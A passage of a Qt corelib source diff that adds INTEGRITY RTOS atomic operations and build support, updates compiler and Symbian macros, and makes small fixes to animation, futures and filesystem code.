diff --git a/src/corelib/animation/qabstractanimation.cpp b/src/corelib/animation/qabstractanimation.cpp
index 7c16f7e..2d5cfab 100644
--- a/src/corelib/animation/qabstractanimation.cpp
+++ b/src/corelib/animation/qabstractanimation.cpp
@@ -404,6 +404,8 @@ void QUnifiedTimer::installAnimationDriver(QAnimationDriver *d)
The default animation system is driven by a timer that fires at regular intervals.
In some scenarios, it is better to drive the animation based on other synchronization
mechanisms, such as the vertical refresh rate of the screen.
+
+ \internal
*/
QAnimationDriver::QAnimationDriver(QObject *parent)
@@ -420,6 +422,8 @@ QAnimationDriver::QAnimationDriver(QAnimationDriverPrivate &dd, QObject *parent)
/*!
Advances the animation based on the current time. This function should
be continuously called by the driver while the animation is running.
+
+ \internal
*/
void QAnimationDriver::advance()
{
@@ -434,6 +438,8 @@ void QAnimationDriver::advance()
/*!
Installs this animation driver. The animation driver is thread local and
will only apply for the thread its installed in.
+
+ \internal
*/
void QAnimationDriver::install()
{
@@ -471,6 +477,8 @@ void QAnimationDriver::stop()
This function is called by the animation framework to notify the driver
that it should start running.
+
+ \internal
*/
/*!
@@ -478,6 +486,8 @@ void QAnimationDriver::stop()
This function is called by the animation framework to notify the driver
that it should stop running.
+
+ \internal
*/
/*!
@@ -491,6 +501,7 @@ QDefaultAnimationDriver::QDefaultAnimationDriver(QUnifiedTimer *timer)
void QDefaultAnimationDriver::timerEvent(QTimerEvent *e)
{
Q_ASSERT(e->timerId() == m_timer.timerId());
+ Q_UNUSED(e); // if the assertions are disabled
advance();
}
diff --git a/src/corelib/animation/qabstractanimation.h b/src/corelib/animation/qabstractanimation.h
index 957b9d5..0900870 100644
--- a/src/corelib/animation/qabstractanimation.h
+++ b/src/corelib/animation/qabstractanimation.h
@@ -140,7 +140,7 @@ class Q_CORE_EXPORT QAnimationDriver : public QObject
Q_DECLARE_PRIVATE(QAnimationDriver)
public:
- QAnimationDriver(QObject *parent);
+ QAnimationDriver(QObject *parent = 0);
void advance();
void install();
@@ -148,8 +148,8 @@ public:
bool isRunning() const;
protected:
- virtual void started() = 0;
- virtual void stopped() = 0;
+ virtual void started() {};
+ virtual void stopped() {};
QAnimationDriver(QAnimationDriverPrivate &dd, QObject *parent = 0);
diff --git a/src/corelib/animation/qvariantanimation.cpp b/src/corelib/animation/qvariantanimation.cpp
index 212e85d..c76cb89 100644
--- a/src/corelib/animation/qvariantanimation.cpp
+++ b/src/corelib/animation/qvariantanimation.cpp
@@ -431,12 +431,17 @@ void QVariantAnimation::registerInterpolator(QVariantAnimation::Interpolator fun
{
// will override any existing interpolators
QInterpolatorVector *interpolators = registeredInterpolators();
+ // When built on solaris with GCC, the destructors can be called
+ // in such an order that we get here with interpolators == NULL,
+ // to continue causes the app to crash on exit with a SEGV
+ if (interpolators) {
#ifndef QT_NO_THREAD
- QMutexLocker locker(QMutexPool::globalInstanceGet(interpolators));
+ QMutexLocker locker(QMutexPool::globalInstanceGet(interpolators));
#endif
- if (int(interpolationType) >= interpolators->count())
- interpolators->resize(int(interpolationType) + 1);
- interpolators->replace(interpolationType, func);
+ if (int(interpolationType) >= interpolators->count())
+ interpolators->resize(int(interpolationType) + 1);
+ interpolators->replace(interpolationType, func);
+ }
}
diff --git a/src/corelib/arch/arch.pri b/src/corelib/arch/arch.pri
index 971069f..cd23e5e 100644
--- a/src/corelib/arch/arch.pri
+++ b/src/corelib/arch/arch.pri
@@ -12,6 +12,8 @@ symbian:HEADERS += arch/qatomic_symbian.h \
vxworks:HEADERS += arch/qatomic_vxworks.h
+integrity:HEADERS += arch/qatomic_integrity.h
+
!wince*:!win32:!mac:!symbian:HEADERS += arch/qatomic_alpha.h \
arch/qatomic_avr32.h \
arch/qatomic_ia64.h \
diff --git a/src/corelib/arch/integrity/arch.pri b/src/corelib/arch/integrity/arch.pri
new file mode 100644
index 0000000..2c4196e
--- /dev/null
+++ b/src/corelib/arch/integrity/arch.pri
@@ -0,0 +1,3 @@
+#
+# INTEGRITY RTOS architecture
+#
diff --git a/src/corelib/arch/qatomic_arch.h b/src/corelib/arch/qatomic_arch.h
index f32aec7..3da833a 100644
--- a/src/corelib/arch/qatomic_arch.h
+++ b/src/corelib/arch/qatomic_arch.h
@@ -46,7 +46,9 @@ QT_BEGIN_HEADER
#include "QtCore/qglobal.h"
-#if defined(QT_ARCH_VXWORKS)
+#if defined(QT_ARCH_INTEGRITY)
+# include "QtCore/qatomic_integrity.h"
+#elif defined(QT_ARCH_VXWORKS)
# include "QtCore/qatomic_vxworks.h"
#elif defined(QT_ARCH_ALPHA)
# include "QtCore/qatomic_alpha.h"
diff --git a/src/corelib/arch/qatomic_armv5.h b/src/corelib/arch/qatomic_armv5.h
index f0f2f9a..820be7b 100644
--- a/src/corelib/arch/qatomic_armv5.h
+++ b/src/corelib/arch/qatomic_armv5.h
@@ -107,7 +107,7 @@ Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::isFetchAndAddWaitFree()
// kernel places a restartable cmpxchg implementation at a fixed address
extern "C" typedef int (qt_atomic_eabi_cmpxchg_int_t)(int oldval, int newval, volatile int *ptr);
-extern "C" typedef int (qt_atomic_eabi_cmpxchg_ptr_t)(const void *oldval, void *newval, volatile void *ptr);
+extern "C" typedef int (qt_atomic_eabi_cmpxchg_ptr_t)(const void *oldval, const void *newval, volatile void *ptr);
#define qt_atomic_eabi_cmpxchg_int (*reinterpret_cast<qt_atomic_eabi_cmpxchg_int_t *>(0xffff0fc0))
#define qt_atomic_eabi_cmpxchg_ptr (*reinterpret_cast<qt_atomic_eabi_cmpxchg_ptr_t *>(0xffff0fc0))
diff --git a/src/corelib/arch/qatomic_integrity.h b/src/corelib/arch/qatomic_integrity.h
new file mode 100644
index 0000000..6563903
--- /dev/null
+++ b/src/corelib/arch/qatomic_integrity.h
@@ -0,0 +1,289 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtGui module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QATOMIC_INTEGRITY_H
+#define QATOMIC_INTEGRITY_H
+
+#include <INTEGRITY.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+#define qt_i2addr(a) reinterpret_cast<Address *>(const_cast<int *>(a))
+#define qt_p2addr(a) reinterpret_cast<Address *>(const_cast<void *>(a))
+#define qt_addr(a) reinterpret_cast<Address>(a)
+
+
+#define Q_ATOMIC_INT_REFERENCE_COUNTING_IS_NOT_NATIVE
+
+inline bool QBasicAtomicInt::isReferenceCountingNative()
+{ return false; }
+inline bool QBasicAtomicInt::isReferenceCountingWaitFree()
+{ return false; }
+
+#define Q_ATOMIC_INT_TEST_AND_SET_IS_NOT_NATIVE
+
+inline bool QBasicAtomicInt::isTestAndSetNative()
+{ return true; }
+inline bool QBasicAtomicInt::isTestAndSetWaitFree()
+{ return true; }
+
+#define Q_ATOMIC_INT_FETCH_AND_STORE_IS_NOT_NATIVE
+
+inline bool QBasicAtomicInt::isFetchAndStoreNative()
+{ return true; }
+inline bool QBasicAtomicInt::isFetchAndStoreWaitFree()
+{ return true; }
+
+#define Q_ATOMIC_INT_FETCH_AND_ADD_IS_NOT_NATIVE
+
+inline bool QBasicAtomicInt::isFetchAndAddNative()
+{ return true; }
+inline bool QBasicAtomicInt::isFetchAndAddWaitFree()
+{ return true; }
+
+#define Q_ATOMIC_POINTER_TEST_AND_SET_IS_NOT_NATIVE
+
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::isTestAndSetNative()
+{ return true; }
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::isTestAndSetWaitFree()
+{ return true; }
+
+#define Q_ATOMIC_POINTER_FETCH_AND_STORE_IS_NOT_NATIVE
+
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::isFetchAndStoreNative()
+{ return true; }
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::isFetchAndStoreWaitFree()
+{ return true; }
+
+#define Q_ATOMIC_POINTER_FETCH_AND_ADD_IS_NOT_NATIVE
+
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::isFetchAndAddNative()
+{ return true; }
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::isFetchAndAddWaitFree()
+{ return true; }
+
+// Reference counting
+
+inline bool QBasicAtomicInt::ref()
+{
+ int oldval;
+ AtomicModify(qt_i2addr(&_q_value), qt_i2addr(&oldval), 0, 1);
+ return _q_value != -1;
+}
+
+inline bool QBasicAtomicInt::deref()
+{
+ int oldval;
+ AtomicModify(qt_i2addr(&_q_value), qt_i2addr(&oldval), 0, -1U);
+ return _q_value != 0;
+}
+
+// Test and set for integers
+
+inline bool QBasicAtomicInt::testAndSetOrdered(int expectedValue, int newValue)
+{
+ return TestAndSet(qt_i2addr(&_q_value), expectedValue, newValue) == Success;
+}
+
+inline bool QBasicAtomicInt::testAndSetRelaxed(int expectedValue, int newValue)
+{
+ return testAndSetOrdered(expectedValue, newValue);
+}
+
+inline bool QBasicAtomicInt::testAndSetAcquire(int expectedValue, int newValue)
+{
+ return testAndSetOrdered(expectedValue, newValue);
+}
+
+inline bool QBasicAtomicInt::testAndSetRelease(int expectedValue, int newValue)
+{
+ return testAndSetOrdered(expectedValue, newValue);
+}
+
+// Fetch and store for integers
+
+inline int QBasicAtomicInt::fetchAndStoreOrdered(int newValue)
+{
+ int old_val;
+ do {
+ old_val = _q_value;
+ } while (TestAndSet(qt_i2addr(&_q_value), old_val, newValue) != Success);
+ return old_val;
+}
+
+inline int QBasicAtomicInt::fetchAndStoreRelaxed(int newValue)
+{
+ return fetchAndStoreOrdered(newValue);
+}
+
+inline int QBasicAtomicInt::fetchAndStoreAcquire(int newValue)
+{
+ return fetchAndStoreOrdered(newValue);
+}
+
+inline int QBasicAtomicInt::fetchAndStoreRelease(int newValue)
+{
+ return fetchAndStoreOrdered(newValue);
+}
+
+// Fetch and add for integers
+
+inline int QBasicAtomicInt::fetchAndAddOrdered(int valueToAdd)
+{
+ int old_val;
+ do {
+ old_val = _q_value;
+ } while (TestAndSet(qt_i2addr(&_q_value), old_val, old_val + valueToAdd) != Success);
+ return old_val;
+}
+
+inline int QBasicAtomicInt::fetchAndAddRelaxed(int valueToAdd)
+{
+ return fetchAndAddOrdered(valueToAdd);
+}
+
+inline int QBasicAtomicInt::fetchAndAddAcquire(int valueToAdd)
+{
+ return fetchAndAddOrdered(valueToAdd);
+}
+
+inline int QBasicAtomicInt::fetchAndAddRelease(int valueToAdd)
+{
+ return fetchAndAddOrdered(valueToAdd);
+}
+
+// Test and set for pointers
+
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::testAndSetOrdered(T *expectedValue, T *newValue)
+{
+ return TestAndSet((Address*)&_q_value, qt_addr(expectedValue), qt_addr(newValue)) == Success;
+}
+
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::testAndSetRelaxed(T *expectedValue, T *newValue)
+{
+ return testAndSetOrdered(expectedValue, newValue);
+}
+
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::testAndSetAcquire(T *expectedValue, T *newValue)
+{
+ return testAndSetOrdered(expectedValue, newValue);
+}
+
+template <typename T>
+Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::testAndSetRelease(T *expectedValue, T *newValue)
+{
+ return testAndSetOrdered(expectedValue, newValue);
+}
+
+// Fetch and store for pointers
+
+template <typename T>
+Q_INLINE_TEMPLATE T *QBasicAtomicPointer<T>::fetchAndStoreOrdered(T *newValue)
+{
+ Address old_val;
+ do {
+ old_val = *reinterpret_cast<Address *>(const_cast<T *>(newValue));
+ } while (TestAndSet(reinterpret_cast<Address *>(const_cast<T **>(&_q_value)), old_val, qt_addr(newValue)) != Success);
+ return reinterpret_cast<T *>(old_val);
+}
+
+template <typename T>
+Q_INLINE_TEMPLATE T *QBasicAtomicPointer<T>::fetchAndStoreRelaxed(T *newValue)
+{
+ return fetchAndStoreOrdered(newValue);
+}
+
+template <typename T>
+Q_INLINE_TEMPLATE T *QBasicAtomicPointer<T>::fetchAndStoreAcquire(T *newValue)
+{
+ return fetchAndStoreOrdered(newValue);
+}
+
+template <typename T>
+Q_INLINE_TEMPLATE T *QBasicAtomicPointer<T>::fetchAndStoreRelease(T *newValue)
+{
+ return fetchAndStoreOrdered(newValue);
+}
+
+// Fetch and add for pointers
+
+template <typename T>
+Q_INLINE_TEMPLATE T *QBasicAtomicPointer<T>::fetchAndAddOrdered(qptrdiff valueToAdd)
+{
+ AtomicModify(qt_p2addr(&_q_value), qt_addr(_q_value), qt_addr(_q_value) + valueToAdd * sizeof(T));
+ return _q_value;
+}
+
+template <typename T>
+Q_INLINE_TEMPLATE T *QBasicAtomicPointer<T>::fetchAndAddRelaxed(qptrdiff valueToAdd)
+{
+ return fetchAndAddOrdered(valueToAdd);
+}
+
+template <typename T>
+Q_INLINE_TEMPLATE T *QBasicAtomicPointer<T>::fetchAndAddAcquire(qptrdiff valueToAdd)
+{
+ return fetchAndAddOrdered(valueToAdd);
+}
+
+template <typename T>
+Q_INLINE_TEMPLATE T *QBasicAtomicPointer<T>::fetchAndAddRelease(qptrdiff valueToAdd)
+{
+ return fetchAndAddOrdered(valueToAdd);
+}
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QATOMIC_INTEGRITY_H
+
diff --git a/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h b/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h
index 4eff0f3..d1ce705 100644
--- a/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h
+++ b/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h
@@ -43,8 +43,9 @@
#define QT_HYBRIDHEAP_SYMBIAN_H
#include <qglobal.h>
+#include <e32cmn.h>
-#if !defined(SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS) && !defined(__WINS__)
+#if !defined(__SYMBIAN_KERNEL_HYBRID_HEAP__) && !defined(__WINS__)
//Enable the (backported) new allocator. When it is available in OS,
//this flag should be disabled for that OS version onward
#define QT_USE_NEW_SYMBIAN_ALLOCATOR
diff --git a/src/corelib/codecs/qtextcodec.cpp b/src/corelib/codecs/qtextcodec.cpp
index 93ed5ed..3c3d39e 100644
--- a/src/corelib/codecs/qtextcodec.cpp
+++ b/src/corelib/codecs/qtextcodec.cpp
@@ -64,7 +64,7 @@
#ifndef QT_NO_CODECS
# include "qtsciicodec_p.h"
# include "qisciicodec_p.h"
-#ifndef Q_OS_SYMBIAN
+#if !defined(Q_OS_SYMBIAN) && !defined(Q_OS_INTEGRITY)
# if defined(QT_NO_ICONV) && !defined(QT_BOOTSTRAPPED)
// no iconv(3) support, must build all codecs into the library
# include "../../plugins/codecs/cn/qgb18030codec.h"
@@ -772,7 +772,7 @@ static void setup()
# endif // Q_WS_X11
-#ifndef Q_OS_SYMBIAN
+#if !defined(Q_OS_SYMBIAN) && !defined(Q_OS_INTEGRITY)
# if defined(QT_NO_ICONV) && !defined(QT_BOOTSTRAPPED)
// no asian codecs when bootstrapping, sorry
(void)new QGb18030Codec;
@@ -805,7 +805,7 @@ static void setup()
(void)new QLatin1Codec;
(void)new QUtf8Codec;
-#ifndef Q_OS_SYMBIAN
+#if !defined(Q_OS_SYMBIAN) && !defined(Q_OS_INTEGRITY)
#if defined(Q_OS_UNIX) && !defined(QT_NO_ICONV) && !defined(QT_BOOTSTRAPPED)
// QIconvCodec depends on the UTF-16 codec, so it needs to be created last
(void) new QIconvCodec();
diff --git a/src/corelib/concurrent/qfutureinterface.cpp b/src/corelib/concurrent/qfutureinterface.cpp
index 6256944..627d0c7 100644
--- a/src/corelib/concurrent/qfutureinterface.cpp
+++ b/src/corelib/concurrent/qfutureinterface.cpp
@@ -421,9 +421,11 @@ bool QFutureInterfaceBase::referenceCountIsOne() const
QFutureInterfaceBasePrivate::QFutureInterfaceBasePrivate(QFutureInterfaceBase::State initialState)
: refCount(1), m_progressValue(0), m_progressMinimum(0), m_progressMaximum(0),
- state(initialState), progressTimeStarted(false), pendingResults(0),
+ state(initialState), pendingResults(0),
manualProgress(false), m_expectedResultCount(0), runnable(0)
-{ }
+{
+ progressTime.invalidate();
+}
int QFutureInterfaceBasePrivate::internal_resultCount() const
{
@@ -455,12 +457,11 @@ bool QFutureInterfaceBasePrivate::internal_updateProgress(int progress,
m_progressValue = progress;
m_progressText = progressText;
- if (progressTimeStarted == true && m_progressValue != m_progressMaximum) // make sure the first and last steps are emitted.
+ if (progressTime.isValid() && m_progressValue != m_progressMaximum) // make sure the first and last steps are emitted.
if (progressTime.elapsed() < (1000 / MaxProgressEmitsPerSecond))
return false;
progressTime.start();
- progressTimeStarted = true;
return true;
}
diff --git a/src/corelib/concurrent/qfutureinterface_p.h b/src/corelib/concurrent/qfutureinterface_p.h
index 7f93c75..538947e 100644
--- a/src/corelib/concurrent/qfutureinterface_p.h
+++ b/src/corelib/concurrent/qfutureinterface_p.h
@@ -53,7 +53,7 @@
// We mean it.
//
-#include <QtCore/qdatetime.h>
+#include <QtCore/qelapsedtimer.h>
#include <QtCore/qcoreevent.h>
#include <QtCore/qlist.h>
#include <QtCore/qwaitcondition.h>
@@ -137,8 +137,7 @@ public:
int m_progressMinimum;
int m_progressMaximum;
QFutureInterfaceBase::State state;
- QTime progressTime;
- bool progressTimeStarted;
+ QElapsedTimer progressTime;
QWaitCondition pausedWaitCondition;
int pendingResults;
QtConcurrent::ResultStoreBase m_results;
diff --git a/src/corelib/corelib.pro b/src/corelib/corelib.pro
index e946d5d..f03550d 100644
--- a/src/corelib/corelib.pro
+++ b/src/corelib/corelib.pro
@@ -40,7 +40,10 @@ contains(DEFINES,QT_EVAL):include(eval.pri)
symbian: {
TARGET.UID3=0x2001B2DC
- # Workaroud for problems with paging this dll
- MMP_RULES -= PAGED
- MMP_RULES *= UNPAGED
+ # Problems using data exports from this DLL mean that we can't page it on releases that don't support
+ # data exports (currently that's any release before Symbian^3)
+ pagingBlock = "$${LITERAL_HASH}ifndef SYMBIAN_DLL_DATA_EXPORTS_SUPPORTED" \
+ "UNPAGED" \
+ "$${LITERAL_HASH}endif"
+ MMP_RULES += pagingBlock
}
diff --git a/src/corelib/global/global.pri b/src/corelib/global/global.pri
index 8eae391..83caa96 100644
--- a/src/corelib/global/global.pri
+++ b/src/corelib/global/global.pri
@@ -23,7 +23,7 @@ INCLUDEPATH += $$QT_BUILD_TREE/src/corelib/global
# Only used on platforms with CONFIG += precompile_header
PRECOMPILED_HEADER = global/qt_pch.h
-linux*:!static:!symbian-armcc:!symbian-gcce {
+linux*:!static:!symbian-gcce:!*-armcc* {
QMAKE_LFLAGS += -Wl,-e,qt_core_boilerplate
prog=$$quote(if (/program interpreter: (.*)]/) { print $1; })
DEFINES += ELF_INTERPRETER=\\\"$$system(readelf -l /bin/ls | perl -n -e \'$$prog\')\\\"
diff --git a/src/corelib/global/qglobal.cpp b/src/corelib/global/qglobal.cpp
index fb39ee5..134ef2f 100644
--- a/src/corelib/global/qglobal.cpp
+++ b/src/corelib/global/qglobal.cpp
@@ -1738,7 +1738,7 @@ QSysInfo::WinVersion QSysInfo::windowsVersion()
if (winver)
return winver;
winver = QSysInfo::WV_NT;
- OSVERSIONINFOW osver;
+ OSVERSIONINFO osver;
osver.dwOSVersionInfoSize = sizeof(osver);
GetVersionEx(&osver);
#ifdef Q_OS_WINCE
diff --git a/src/corelib/global/qglobal.h b/src/corelib/global/qglobal.h
index 2a41b9e..1879537 100644
--- a/src/corelib/global/qglobal.h
+++ b/src/corelib/global/qglobal.h
@@ -369,7 +369,20 @@ namespace QT_NAMESPACE {}
*/
#if defined(__ghs)
-# define Q_OUTOFLINE_TEMPLATE inline
+# define Q_OUTOFLINE_TEMPLATE inline
+
+/* the following are necessary because the GHS C++ name mangling relies on __*/
+# define Q_CONSTRUCTOR_FUNCTION0(AFUNC) \
+ static const int AFUNC ## _init_variable_ = AFUNC();
+# define Q_CONSTRUCTOR_FUNCTION(AFUNC) Q_CONSTRUCTOR_FUNCTION0(AFUNC)
+# define Q_DESTRUCTOR_FUNCTION0(AFUNC) \
+ class AFUNC ## _dest_class_ { \
+ public: \
+ inline AFUNC ## _dest_class_() { } \
+ inline ~ AFUNC ## _dest_class_() { AFUNC(); } \
+ } AFUNC ## _dest_instance_;
+# define Q_DESTRUCTOR_FUNCTION(AFUNC) Q_DESTRUCTOR_FUNCTION0(AFUNC)
+
#endif
/* Symantec C++ is now Digital Mars */
@@ -448,6 +461,9 @@ namespace QT_NAMESPACE {}
# if __TARGET_ARCH_ARM >= 6
# define QT_HAVE_ARMV6
# endif
+/* work-around for missing compiler intrinsics */
+# define __is_empty(X) false
+# define __is_pod(X) false
#elif defined(__GNUC__)
# define Q_CC_GNU
# define Q_C_CALLBACKS
@@ -457,7 +473,6 @@ namespace QT_NAMESPACE {}
# if defined(__INTEL_COMPILER)
/* Intel C++ also masquerades as GCC 3.2.0 */
# define Q_CC_INTEL
-# define Q_NO_TEMPLATE_FRIENDS
# endif
# if defined(__clang__)
/* Clang also masquerades as GCC 4.2.1 */
@@ -760,6 +775,24 @@ namespace QT_NAMESPACE {}
# error "Qt has not been tested with this compiler - talk to qt-bugs@trolltech.com"
#endif
+#ifdef Q_CC_INTEL
+# if __INTEL_COMPILER < 1200
+# define Q_NO_TEMPLATE_FRIENDS
+# endif
+# if defined(__GXX_EXPERIMENTAL_CXX0X__) || defined(__GXX_EXPERIMENTAL_CPP0X__)
+# if __INTEL_COMPILER >= 1100
+# define Q_COMPILER_RVALUE_REFS
+# define Q_COMPILER_EXTERN_TEMPLATES
+# elif __INTEL_COMPILER >= 1200
+# define Q_COMPILER_VARIADIC_TEMPLATES
+# define Q_COMPILER_AUTO_TYPE
+# define Q_COMPILER_DEFAULT_DELETE_MEMBERS
+# define Q_COMPILER_CLASS_ENUM
+# define Q_COMPILER_LAMBDA
+# endif
+# endif
+#endif
+
#ifndef Q_PACKED
# define Q_PACKED
# undef Q_NO_PACKED_REFERENCE
@@ -1199,6 +1232,11 @@ class QDataStream;
#define QT_SUPPORTS(FEATURE) (!defined(QT_NO_##FEATURE))
+#if defined(Q_OS_LINUX) && defined(Q_CC_RVCT)
+# define Q_DECL_EXPORT __attribute__((visibility("default")))
+# define Q_DECL_IMPORT __attribute__((visibility("default")))
+#endif
+
#ifndef Q_DECL_EXPORT
# if defined(Q_OS_WIN) || defined(Q_CC_NOKIAX86) || defined(Q_CC_RVCT)
# define Q_DECL_EXPORT __declspec(dllexport)
@@ -1420,7 +1458,7 @@ class QDataStream;
# define Q_AUTOTEST_EXPORT
#endif
-inline void qt_noop() {}
+inline void qt_noop(void) {}
/* These wrap try/catch so we can switch off exceptions later.
@@ -2461,9 +2499,14 @@ QT3_SUPPORT Q_CORE_EXPORT const char *qInstallPathSysconf();
# define QT_SYMBIAN_SUPPORTS_SGIMAGE
#endif
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef SYMBIAN_GRAPHICS_SET_SURFACE_TRANSPARENCY_AVAILABLE
# define Q_SYMBIAN_SEMITRANSPARENT_BG_SURFACE
#endif
+
+#ifdef SYMBIAN_GRAPHICS_TRANSITION_EFFECTS_SIGNALING_AVAILABLE
+# define Q_SYMBIAN_TRANSITION_EFFECTS
+#endif
+
#endif
//Symbian does not support data imports from a DLL
diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
index 7a6ab36..d84da0d 100644
--- a/src/corelib/global/qnamespace.h
+++ b/src/corelib/global/qnamespace.h
@@ -511,9 +511,16 @@ public:
#if 0 // these values are reserved for Maemo5 - do not re-use them
WA_Maemo5NonComposited = 126,
WA_Maemo5StackedWindow = 127,
- WA_Maemo5PortraitOrientation = 128,
- WA_Maemo5LandscapeOrientation = 129,
- WA_Maemo5AutoOrientation = 130,
+#endif
+
+ WA_LockPortraitOrientation = 128,
+ WA_LockLandscapeOrientation = 129,
+ WA_AutoOrientation = 130,
+
+#if 0 // these values are reserved for Maemo5 - do not re-use them
+ WA_Maemo5PortraitOrientation = WA_LockPortraitOrientation,
+ WA_Maemo5LandscapeOrientation = WA_LockLandscapeOrientation,
+ WA_Maemo5AutoOrientation = WA_AutoOrientation,
WA_Maemo5ShowProgressIndicator = 131,
#endif
@@ -536,7 +543,8 @@ public:
AA_DontUseNativeMenuBar = 6,
AA_MacDontSwapCtrlAndMeta = 7,
AA_S60DontConstructApplicationPanes = 8,
- AA_X11InitThreads = 9,
+ AA_S60DisablePartialScreenInputMode = 9,
+ AA_X11InitThreads = 10,
// Add new attributes before this line
AA_AttributeCount
diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc
index 9facad7..cbdf9d1 100644
--- a/src/corelib/global/qnamespace.qdoc
+++ b/src/corelib/global/qnamespace.qdoc
@@ -156,11 +156,17 @@
whole lifetime. This attribute must be set before QApplication is
constructed.
+ \omitvalue AA_S60DisablePartialScreenInputMode By default in Symbian^3,
+ a separate editing window is opened on top of an application. This is exactly
+ like editing on previous versions of Symbian behave. When this attribute
+ is true, a virtual keyboard window is shown on top of application and it
+ is ensured that the focused text widget is visible. This is only supported in
+ Symbian^3. (internal)
+
\value AA_X11InitThreads Calls XInitThreads() as part of the QApplication
construction in order to make Xlib calls thread-safe. This
attribute must be set before QApplication is constructed.
-
\omitvalue AA_AttributeCount
*/
@@ -1257,6 +1263,13 @@
to this top level window. This attribute has no effect on non-X11
platforms.
+ \value WA_LockPortraitOrientation Locks the widget to a portrait orientation,
+ ignoring changes to the display's orientation with respect to the user.
+ \value WA_LockLandscapeOrientation Locks the widget to a landscape orientation,
+ ignoring changes to the display's orientation with respect to the user.
+ \value WA_AutoOrientation Causes the widget to change orientation whenever the
+ display changes orientation with respect to the user.
+
\value WA_MacNoShadow Since Qt 4.8, this attribute disables drop shadows
for this top level window. Only affects Cocoa builds of Qt for Mac OS X.
diff --git a/src/corelib/io/io.pri b/src/corelib/io/io.pri
index 4d4ae21..2b61192 100644
--- a/src/corelib/io/io.pri
+++ b/src/corelib/io/io.pri
@@ -113,3 +113,7 @@ win32 {
LIBS += -lplatformenv
}
}
+integrity {
+ SOURCES += io/qfsfileengine_unix.cpp \
+ io/qfsfileengine_iterator_unix.cpp
+}
diff --git a/src/corelib/io/qfilesystemengine.cpp b/src/corelib/io/qfilesystemengine.cpp
index 9446ebb..cf19224 100644
--- a/src/corelib/io/qfilesystemengine.cpp
+++ b/src/corelib/io/qfilesystemengine.cpp
@@ -168,7 +168,7 @@ static bool _q_resolveEntryAndCreateLegacyEngine_recursive(QFileSystemEntry &ent
const QStringList &paths = QDir::searchPaths(filePath.left(prefixSeparator));
for (int i = 0; i < paths.count(); i++) {
- entry = QFileSystemEntry(paths.at(i) % QLatin1Char('/') % filePath.mid(prefixSeparator + 1));
+ entry = QFileSystemEntry(QDir::cleanPath(paths.at(i) % QLatin1Char('/') % filePath.mid(prefixSeparator + 1)));
// Recurse!
if (_q_resolveEntryAndCreateLegacyEngine_recursive(entry, data, engine, true))
return true;
diff --git a/src/corelib/io/qfilesystemengine_unix.cpp b/src/corelib/io/qfilesystemengine_unix.cpp
index 6acd811..030be1b 100644
--- a/src/corelib/io/qfilesystemengine_unix.cpp
+++ b/src/corelib/io/qfilesystemengine_unix.cpp
@@ -174,8 +174,9 @@ QFileSystemEntry QFileSystemEngine::canonicalName(const QFileSystemEntry &entry,
if (entry.isEmpty() || entry.isRoot())
return entry;
-#ifdef __UCLIBC__
- return QFileSystemEntry::slowCanonicalName(entry);
+#if !defined(Q_OS_MAC) && _POSIX_VERSION < 200809L
+ // realpath(X,0) is not supported
+ return QFileSystemEntry(slowCanonicalized(absoluteName(entry).filePath()));
#else
char *ret = 0;
# if defined(Q_OS_MAC) && !defined(QT_NO_CORESERVICES)
@@ -533,8 +534,7 @@ bool QFileSystemEngine::copyFile(const QFileSystemEntry &source, const QFileSyst
{
Q_UNUSED(source);
Q_UNUSED(target);
- // # we can implement this using sendfile(2)
- //when this function returns false, block copy is used in QFile which sets the error code.
+ error = QSystemError(ENOSYS, QSystemError::StandardLibraryError); //Function not implemented
return false;
}
diff --git a/src/corelib/io/qfsfileengine_unix.cpp b/src/corelib/io/qfsfileengine_unix.cpp
index 62e7c9f..6c03b32 100644
--- a/src/corelib/io/qfsfileengine_unix.cpp
+++ b/src/corelib/io/qfsfileengine_unix.cpp
@@ -1029,7 +1029,11 @@ uchar *QFSFileEnginePrivate::map(qint64 offset, qint64 size, QFile::MemoryMapFla
if (openMode & QIODevice::ReadOnly) access |= PROT_READ;
